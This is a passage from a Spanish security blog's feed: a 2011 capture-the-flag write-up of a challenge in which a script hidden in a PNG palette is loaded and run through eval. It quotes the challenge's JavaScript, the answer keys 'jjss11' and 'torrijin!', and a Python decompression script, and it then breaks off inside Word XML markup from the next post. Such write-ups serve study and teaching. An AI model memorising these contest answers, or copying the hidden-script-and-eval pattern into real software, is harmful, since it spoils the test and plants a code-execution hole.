&lt;code&gt; &lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;De esta forma llegamos hasta el conejo 40.  Mi script cutre no trata los errores, así que no ha seguido más allá, por lo que decido probar algún valor más manualmente y enseguida localizo una imagen algo rara en el número 100.  Además, mirando alrededor de esta última encontramos también al conejo 99.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBfDRfTAzs4LGbwHbSvc-gp0pDzsNPEx4jtplF3q7UR2-9p_DZ6Ld-EZRJL3nxGTMN-jnEhrE5v0AepAJeNMvPg0T7FR3CNcWWKexDamaanyNSUBximSMGCF8p5rm79gVeq7kuQzOkjmQ/s1600/desafio12_2.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5601145241278421746&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBfDRfTAzs4LGbwHbSvc-gp0pDzsNPEx4jtplF3q7UR2-9p_DZ6Ld-EZRJL3nxGTMN-jnEhrE5v0AepAJeNMvPg0T7FR3CNcWWKexDamaanyNSUBximSMGCF8p5rm79gVeq7kuQzOkjmQ/s400/desafio12_2.png&quot; style=&quot;cursor: pointer; display: block; height: 52px; margin: 0px auto 10px; text-align: center; width: 52px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTlh_SisYLZTbCMQ983W3vj0wQJGTq1v4JjvEgvrLqgB4TlEIehEcotAqgGty1fKyr0L1WiqOjfeLcyqBCiPFb2DjCQ7XT0IUKAnX6QefLHavvQz01IitkCwRah2629gVerSmD_wiWMeI/s1600/desafio12_3.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5601145241937710034&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTlh_SisYLZTbCMQ983W3vj0wQJGTq1v4JjvEgvrLqgB4TlEIehEcotAqgGty1fKyr0L1WiqOjfeLcyqBCiPFb2DjCQ7XT0IUKAnX6QefLHavvQz01IitkCwRah2629gVerSmD_wiWMeI/s400/desafio12_3.png&quot; style=&quot;cursor: pointer; display: block; height: 138px; margin: 0px auto 10px; text-align: center; width: 149px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Viendo la pinta que tiene rabbit100.png, decidimos mirar su contenido mediante un editor hexadecimal, aunque aquí sólo mostramos la salida ASCII:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjejcGWRp8R3nsge139hpWCKu9WHBEvnnwoQu5YX9O3nZCCfHPlY8NvoD4J8XLfw7Oi4ZYbboCB7BXjoi63ia6URvq6xBkSu4rTBczIoamBYXpS2n5Px7Vd5XwpQ_XCG_9OXDWZBtpJvRs/s1600/desafio12_4.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5601145552838142962&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjejcGWRp8R3nsge139hpWCKu9WHBEvnnwoQu5YX9O3nZCCfHPlY8NvoD4J8XLfw7Oi4ZYbboCB7BXjoi63ia6URvq6xBkSu4rTBczIoamBYXpS2n5Px7Vd5XwpQ_XCG_9OXDWZBtpJvRs/s400/desafio12_4.png&quot; style=&quot;cursor: pointer; display: block; height: 52px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Parece que hay algún tipo de script dentro de la paleta de colores de la imagen, ahora sólo falta saber qué hacer con él.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Para ello miramos el código fuente de la página y vemos que los dos botones presentes en la página hacen ejecutan funciones javascript:&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt; &amp;nbsp;&amp;nbsp;window.onload = function(){&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp; document.getElementById(&quot;gtk&quot;).onclick = getKey;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp; document.getElementById(&quot;dec&quot;).onclick = decrypt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;} &lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;lt;div class=&quot;tCentrado&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;&amp;lt;img width=&quot;150px&quot; height=&quot;150px&quot; src=&quot;./desafios/12/conejos/rabbit03.png&quot;&amp;gt;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;1. sigue al conejo para encontrar la llave de la primera puerta&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;llave: &amp;lt;input type=&quot;text&quot; value=&quot;&quot; id=&quot;source&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;&amp;lt;input id=&quot;gtk&quot; type=&quot;button&quot; value=&quot; continuar &quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;&amp;lt;input id=&quot;key&quot; type=&quot;hidden&quot; name=&quot;key&quot; value=&quot;&quot;&amp;gt;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;2. tras la primera puerta encontrarás una segunda, que se abre con una nueva llave&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;&amp;lt;br/&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;llave: &amp;lt;input type=&quot;text&quot; id=&quot;dkey&quot; name=&quot;dec&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;&amp;lt;input id=&quot;dec&quot; type=&quot;button&quot; value=&quot; desvelar &quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;De momento necesitamos superar el primer paso, así que nos fijamos en la función getkey, que coge el dato introducido en el campo de texto y se lo pasa a la función loadData:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt; function getKey(){&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;var source = document.getElementById(&quot;source&quot;).value;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &amp;nbsp;&amp;nbsp;loadData(source,function(x){eval(x);estego();});&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; }&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Viendo la definición de esta función parece que el primer parámetro que espera es un nombre de fichero:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt;function loadData(strFilename, fncCallback)&lt;/code&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como no tenemos ningún fichero más que los propios conejos, introducimos en el cuadro de texto la url del conejo número 100 y al darle a continuar recibimos el mensaje “funciona!”.&lt;br /&gt;
Esto tiene buena pinta, y como habíamos visto que el contenido de la imagen recordaba a un script, revisamos los que contiene la página web en el navegador y vemos que se ha añadido uno correctamente:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKTbd1fn5wZfQZaYwvbxlINHUag45HYiD14ui6oMG0lq79pnWMpBEadkfQCriQrmU5c44rFdb820_5K_jhUh_qTSbHnwcdi4QoIcG6t6TYEqCB3NEdPYo4Rsfik4SC39k1jNEvmMQCwrY/s1600/desafio12_5.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5601148877798544994&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKTbd1fn5wZfQZaYwvbxlINHUag45HYiD14ui6oMG0lq79pnWMpBEadkfQCriQrmU5c44rFdb820_5K_jhUh_qTSbHnwcdi4QoIcG6t6TYEqCB3NEdPYo4Rsfik4SC39k1jNEvmMQCwrY/s400/desafio12_5.png&quot; style=&quot;cursor: pointer; display: block; height: 63px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El script añadido completo es:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt;var  xFakeOne = function (){alert(&quot;Lets make the image bigger!&quot;);}; estego = function(){document.getElementById(&quot;key&quot;).value=&quot;jjss11&quot;;};var z = function whatElseYouExpect(){alert(&quot;Let&quot;);}&lt;/code&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En la función getKey ya habíamos visto que como callback de loadData se ejecutaba estego, y podemos comprobar que ha añadido el valor de la variable correctamente:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIpodGGtNkSntmisEwFTX9s5-YPEGx69MTe3DR6JEzf7o0-BrDGRuVx6jYmHyxml7-z1wu0eIbu1gmZTRhoAwS0mWvkcrVKF0tDTb3MQ40vrWYb3NTp7NQ1hIJ17tc4i2dyquVso44HoU/s1600/desafio12_6.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5601148884257096306&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIpodGGtNkSntmisEwFTX9s5-YPEGx69MTe3DR6JEzf7o0-BrDGRuVx6jYmHyxml7-z1wu0eIbu1gmZTRhoAwS0mWvkcrVKF0tDTb3MQ40vrWYb3NTp7NQ1hIJ17tc4i2dyquVso44HoU/s400/desafio12_6.png&quot; style=&quot;cursor: pointer; display: block; height: 164px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Sin más dilación, introducimos “jjss11” en el segundo cuadro de texto y pulsando desvelar superamos el desafío.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Para más información, el botón ‘desvelar’ llamaba a la función decrypt:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt;function decrypt(){&lt;br /&gt;
&amp;nbsp;var message = &quot;KwLMGF6yZU0iCkCrWAJgmM5hKFvimZao6TWQR15jCbvy86ctBAjnlZ8u5h8idzjcXvpEHmpXz8gwxMMq5QqYWUvAZBN3pq5k1xk9G0KiydDN/v4poUXNRSu2rkLaChAS1MOfiuIx/GrZTEwMp4VoLgLmL5K8sTtiy3U+FQ==&quot;;&lt;br /&gt;
&amp;nbsp;var key = document.getElementById(&quot;dkey&quot;).value;&lt;br /&gt;
&amp;nbsp;var dec = Aes.Ctr.decrypt(message,key,256);&lt;br /&gt;
&amp;nbsp;eval(dec);&lt;br /&gt;
&amp;nbsp;exec();&lt;br /&gt;
}&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como se ve, descifra mediante AES-CTR el contenido de ‘message’, lo ejecuta y llama a la función exec.  Aunque durante el concurso lo dejamos tras superar el desafío, si alguien tiene curiosidad, el contenido de ‘message’ es el siguiente:&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt;var exec = function(){document.getElementById(&quot;respuesta&quot;).value=&quot;torrijin!&quot;;document.forms[&quot;formulario&quot;].submit();}&lt;/code&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Es decir, completa un formulario que no es visible en la página con el valor “torrijin!” y lo envía al servidor.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Por curiosidad, posteriormente he revisado qué pasaba con rabbit100.png con más detalle: la imagen se carga en un objeto canvas, que nos permite interactuar desde javascript con ella; para generar el script se coge un pixel de cada cuatro de la imagen; cada pixel referencia a un color de la paleta, y al ser una imagen en tonos de grises, cada color se codifica en un byte, en nuestro caso en un carácter.  Como las secciones IDAT de un PNG van comprimidas, para verificar que esto cuadraba aproximadamente con lo obtenido, he descomprimido la sección con el siguiente script:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;code&gt; import zlib&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; import binascii&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; import re&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;br /&gt;
&lt;code&gt; seccion=&#39;08 99 01 D2 00 2D FF 00 01 03 05 07 09 0B 0C 0E 10 12 14 15 16 18 00 19 1B 1D 1E 20 22 24 26 27 28 2A 2C 2E 2F 00 31 32 33 34 35 37 39 3A 3B 3D 3E 40 41 42 00 43 44 45 47 48 49 4A 4B 4C 4E 4F 50 52 53 00 54 55 56 57 59 5A 5B 5D 5F 60 61 62 63 64 00 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 00 73 74 75 77 78 79 7A 7B 7C 7D 7E 80 81 82 00 83 85 86 87 88 89 8A 8B 8D 8F 91 92 93 94 00 95 96 97 98 99 9A 9C 9D 9E 9F A0 A1 A2 A4 00 A5 A6 A7 A9 AA AB AC AD AE AF B0 B1 B2 B4 00 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C2 C3 00 C4 C5 C6 C7 C8 C9 CB CC CD CE CF D1 D2 D3 00 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 00 E2 E3 E4 E5 E7 E8 E9 EA EB EC ED EE EF F0 93 19 63 39 03 61 4D 0C&#39;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; p=re.compile(&#39; &#39;)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; seccionsinespacios=p.sub(&#39;&#39;,seccion)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; seccionbinaria=binascii.unhexlify(seccionsinespacios)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; salida=open(&#39;salida1.raw&#39;,&#39;wb&#39;)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; salida.write(zlib.decompress( seccionbinaria[2:] , -15))&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; salida.close()&lt;/code&gt;&lt;br /&gt;
&lt;code&gt; &lt;/code&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/7843488332816556284/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-12-gsic-2011.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/7843488332816556284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/7843488332816556284'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/04/writeup-desafio-12-gsic-2011.html' title='WriteUp - Desafío 12 - H4ckc0nt3st GSIC 2011'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl-lNZGSM7eEXOgEo-xw_Vv3AvjKrHPnC2R7HvMsyH7TcqvGw5kLMLKlauKqg5AgGsIjm4vjeCAdX0RxRTK0TYcG92qCXumeduVSP0D6XfRZPr1Rw3I0Afk2RxP4SS0SbARHB9xl-iOS4/s72-c/desafio12_1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-8556283723493035400</id><published>2011-04-29T22:44:00.011+02:00</published><updated>2011-04-29T23:44:12.339+02:00</updated><title type='text'>WriteUp - Desafío 5 - H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;p style=&quot;text-align: justify;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:85%;&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot; class=&quot;Predeterminado&quot;&gt;&lt;span style=&quot;line-height: 115%;font-size:85%;&quot; &gt; &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; font-family: arial;&quot;&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; style=&quot;font-family: arial;&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4fTmJ7uEbs-W_JPwHuARJtkBCffLh6sWajhApEoNKvmw2LMOT0S9YMtvbLGd3kln8B_1hlCTTlg8h5mTqkFg7T1Df-D74_VGSLhTOl4NyQocVtY1pk2gTJY603VDp2PrmwI2m1lCJECCE/s1600/descripcion.png&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 290px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4fTmJ7uEbs-W_JPwHuARJtkBCffLh6sWajhApEoNKvmw2LMOT0S9YMtvbLGd3kln8B_1hlCTTlg8h5mTqkFg7T1Df-D74_VGSLhTOl4NyQocVtY1pk2gTJY603VDp2PrmwI2m1lCJECCE/s400/descripcion.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5601112709292819986&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:officedocumentsettings&gt;   &lt;o:allowpng/&gt;  &lt;/o:OfficeDocumentSettings&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;ES&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:enableopentypekerning/&gt;    &lt;w:dontflipmirrorindents/&gt;    &lt;w:overridetablestylehps/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val=&quot;Cambria Math&quot;&gt;    &lt;m:brkbin val=&quot;before&quot;&gt;    &lt;m:brkbinsub val=&quot;&amp;#45;-&quot;&gt;    &lt;m:smallfrac val=&quot;off&quot;&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val=&quot;0&quot;&gt;    &lt;m:rmargin val=&quot;0&quot;&gt;    &lt;m:defjc val=&quot;centerGroup&quot;&gt;    &lt;m:wrapindent val=&quot;1440&quot;&gt;    &lt;m:intlim val=&quot;subSup&quot;&gt;    &lt;m:narylim val=&quot;undOvr&quot;&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; defunhidewhenused=&quot;true&quot; defsemihidden=&quot;true&quot; defqformat=&quot;false&quot; defpriority=&quot;99&quot; latentstylecount=&quot;267&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;0&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Normal&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;heading 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 7&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 8&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;9&quot; qformat=&quot;true&quot; name=&quot;heading 9&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 3&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 4&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 5&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 6&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 7&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 8&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;39&quot; name=&quot;toc 9&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;35&quot; qformat=&quot;true&quot; name=&quot;caption&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;10&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Title&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;11&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Subtitle&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;22&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Strong&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;20&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;Emphasis&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;59&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Table Grid&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Placeholder Text&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;1&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; qformat=&quot;true&quot; name=&quot;No Spacing&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;60&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Shading&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;61&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light List&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;62&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Light Grid&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;63&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;64&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Shading 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;65&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;66&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium List 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;67&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 1&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;68&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium Grid 2&quot;&gt;   &lt;w:lsdexception locked=&quot;false&quot; priority=&quot;69&quot; semihidden=&quot;false&quot; unhidewhenused=&quot;false&quot; name=&quot;Medium 